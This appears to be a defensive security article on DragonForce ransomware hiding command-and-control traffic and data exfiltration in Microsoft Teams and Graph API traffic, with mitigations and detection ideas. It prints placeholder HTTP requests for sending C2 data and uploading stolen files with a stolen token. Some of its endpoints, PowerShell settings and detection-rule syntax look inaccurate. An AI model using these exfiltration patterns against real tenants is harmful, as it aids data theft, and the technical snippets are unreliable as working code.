DragonForce ransomware operators have weaponized Microsoft Teams as a covert communication channel to hide malware activity from security monitoring tools. By abusing the legitimate collaboration platform’s traffic, attackers successfully blend command-and-control communications within normal business communications, making detection significantly more challenging. This technique represents an evolution in ransomware stealth tactics, exploiting the widespread trust organizations place in Microsoft’s ecosystem.
Introduction
The ransomware landscape continues to evolve with increasingly sophisticated evasion techniques. DragonForce, a ransomware-as-a-service (RaaS) operation that emerged in 2024, has demonstrated a concerning advancement in operational security by leveraging Microsoft Teams as a covert channel for malware communications.
Security researchers discovered that DragonForce operators are routing command-and-control (C2) traffic through Microsoft Teams infrastructure, effectively disguising malicious communications as legitimate workplace collaboration traffic. This technique exploits the inherent trust organizations place in Microsoft services and the challenges associated with monitoring encrypted communications within productivity platforms.
The abuse of trusted platforms like Teams represents a significant shift in attacker tradecraft, forcing security teams to reconsider their approach to network monitoring and application control.
Background & Context
DragonForce ransomware entered the threat landscape as part of the ongoing proliferation of RaaS operations. The group operates a double-extortion model, stealing sensitive data before encrypting systems to maximize pressure on victims.
Microsoft Teams has become ubiquitous in enterprise environments, particularly following the pandemic-driven shift to remote work. With over 280 million monthly active users globally, Teams traffic represents a massive volume of legitimate communications that security tools typically whitelist or minimize monitoring to avoid performance impacts and privacy concerns.
Attackers have historically abused legitimate services for C2 communications—a technique known as “living off the land” or “living off trusted sites.” Previous campaigns have leveraged platforms like Discord, Slack, Telegram, and even cloud storage services. However, the tight integration of Teams within Microsoft 365 environments and its privileged network position make it particularly attractive for threat actors.
The abuse of collaboration platforms creates a security dilemma: organizations must balance security monitoring against employee privacy, application performance, and the operational necessity of these tools.
Technical Breakdown
The DragonForce Teams abuse technique involves several sophisticated components working in concert to establish covert communications.
Initial Access and Payload Delivery
DragonForce typically gains initial access through common vectors including phishing campaigns, compromised credentials, or exploitation of internet-facing vulnerabilities. Once inside the network, attackers deploy their ransomware payload with embedded Teams communication modules.
Teams API Abuse
The malware leverages Microsoft Teams APIs to establish communications. Attackers utilize either compromised legitimate Teams accounts or create new accounts within the target organization’s tenant. The malware communicates by:
POST /v1/messages
Host: teams.microsoft.com
Authorization: Bearer [STOLEN_TOKEN]
Content-Type: application/json
{
"body": {
"content": "[BASE64_ENCODED_C2_DATA]"
}
}
This traffic appears identical to legitimate Teams messaging, utilizing proper authentication tokens and following Microsoft’s API specifications.
Data Exfiltration Through Teams Channels
DragonForce abuses Teams’ file-sharing capabilities to exfiltrate stolen data before encryption. Files are uploaded to Teams channels or SharePoint sites integrated with Teams:
PUT /v1.0/me/drive/items/root:/[FILENAME]:/content
Host: graph.microsoft.com
Authorization: Bearer [TOKEN]
Content-Type: application/octet-streamThis method bypasses traditional data loss prevention (DLP) monitoring focused on email or external file transfers.
Encryption Key Management
The malware uses Teams chat messages to receive encryption keys and ransom instructions from operators. Commands are encoded within seemingly innocuous message payloads, decoded by the malware client-side.
Impact & Risk Assessment
Organizational Impact
The abuse of Microsoft Teams for ransomware operations creates multiple risk vectors:
Detection Evasion: Security tools configured to trust Microsoft 365 traffic may completely miss malicious communications, extending attacker dwell time and increasing damage potential.
Incident Response Challenges: When Teams is the C2 channel, standard network isolation procedures become complicated, as blocking Microsoft 365 connectivity disrupts legitimate business operations.
Data Exfiltration at Scale: Teams’ integration with SharePoint and OneDrive provides high-bandwidth channels for data theft that appear as authorized internal transfers.
Financial and Operational Consequences
Organizations hit by DragonForce face:
- Average ransom demands ranging from $100,000 to several million dollars
- Extended recovery times due to detection delays
- Regulatory penalties if sensitive data is exfiltrated and published
- Reputational damage from successful attacks
Industry Sectors at Risk
Healthcare, financial services, legal firms, and government agencies using Microsoft 365 face elevated risk due to their data sensitivity and reliance on Teams for critical communications.
Vendor Response
Microsoft has acknowledged the abuse of Teams and other Microsoft 365 services by threat actors. The company’s response includes:
Enhanced Logging: Microsoft has expanded audit logging capabilities in Microsoft 365 E5 licenses to capture more granular Teams activity data, though basic licenses have limited visibility.
Conditional Access Improvements: Updates to Azure AD Conditional Access policies allow organizations to implement stricter controls on Teams API access and unusual authentication patterns.
Threat Intelligence Integration: Microsoft Defender for Office 365 has received updates to detect anomalous Teams usage patterns, though effectiveness varies based on baseline normalization periods.
Microsoft has not issued specific patches for this abuse vector, as the attackers exploit legitimate functionality rather than software vulnerabilities. The company emphasizes that proper configuration and monitoring are critical defense components.
Mitigations & Workarounds
Immediate Actions
Organizations should implement these controls to reduce exposure:
Restrict External Teams Access:
Set-CsTeamsClientConfiguration -AllowExternalAccess $false
Set-CsTenantFederationConfiguration -AllowPublicUsers $falseImplement Conditional Access Policies:
- Require multi-factor authentication for all Teams access
- Restrict Teams API access to known device identities
- Block legacy authentication protocols
Enable Advanced Auditing:
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true
Enable-OrganizationCustomization
Set-OrganizationConfig -AuditDisabled $falseApplication Control
Deploy application whitelisting to prevent unauthorized applications from accessing Teams APIs. Use Microsoft Defender Application Control (WDAC) or similar solutions to restrict which processes can interact with Microsoft 365 services.
Network Segmentation
Implement network segmentation to limit which systems can initiate Teams communications. Critical infrastructure should have restricted or monitored access to collaboration platforms.
Detection & Monitoring
Log Analysis
Monitor Microsoft 365 audit logs for suspicious Teams activity:
Unusual Message Patterns:
- High-frequency messaging from service accounts
- Messages with base64-encoded content
- Communications during off-hours from production systems
File Upload Anomalies:
- Large file uploads from non-user accounts
- Uploads from servers or workstations not typically used for collaboration
- Multiple file uploads in rapid succession
SIEM Detection Rules
Implement detection rules for Teams abuse:
detection:
selection:
eventName:
- 'MessageSent'
- 'FileUploaded'
userType: 'ServiceAccount'
messageSize: '>1000000'
condition: selection and timeframe: 5m count > 100Behavioral Analytics
Deploy User and Entity Behavior Analytics (UEBA) solutions to baseline normal Teams usage and alert on deviations such as:
- New devices accessing Teams
- API calls from unexpected processes
- Unusual data transfer volumes
Best Practices
Zero Trust Architecture
Implement zero trust principles for collaboration platforms:
- Verify every access request regardless of source
- Assume breach and minimize blast radius
- Continuously validate security posture
Privileged Access Management
Restrict administrative access to Microsoft 365:
- Use separate admin accounts with conditional access
- Implement just-in-time privileged access
- Regularly audit admin activity
Security Awareness Training
Educate users about:
- Phishing tactics targeting Microsoft 365 credentials
- Suspicious Teams messages or file share requests
- Proper reporting procedures for unusual activity
Regular Security Assessments
Conduct periodic reviews of:
- Microsoft 365 configurations and permissions
- Teams external access policies
- Audit log coverage and retention
- Incident response procedures for cloud-based attacks
Backup and Recovery
Maintain offline, immutable backups of critical data that cannot be accessed through Microsoft 365 APIs. Test recovery procedures regularly to ensure minimal downtime during ransomware incidents.
Key Takeaways
- DragonForce ransomware operators are abusing Microsoft Teams to hide command-and-control communications within legitimate business traffic
- The technique exploits the trust organizations place in Microsoft 365 services and the challenges of monitoring encrypted collaboration platforms
- Traditional network security controls may fail to detect malicious activity when it mimics authorized application behavior
- Organizations must enhance logging, implement behavioral analytics, and apply zero trust principles to collaboration platforms
- Microsoft has improved detection capabilities but relies on proper configuration and monitoring by customers
- This trend will likely continue with other ransomware groups adopting similar techniques across various trusted platforms
- Defense requires a layered approach combining access controls, enhanced monitoring, and security awareness
References
- Microsoft 365 Security Documentation: https://docs.microsoft.com/security/
- MITRE ATT&CK Technique T1102 (Web Service): https://attack.mitre.org/techniques/T1102/
- Microsoft Teams Security Best Practices: https://docs.microsoft.com/microsoftteams/security-compliance-overview
- CISA Ransomware Guide: https://www.cisa.gov/stopransomware
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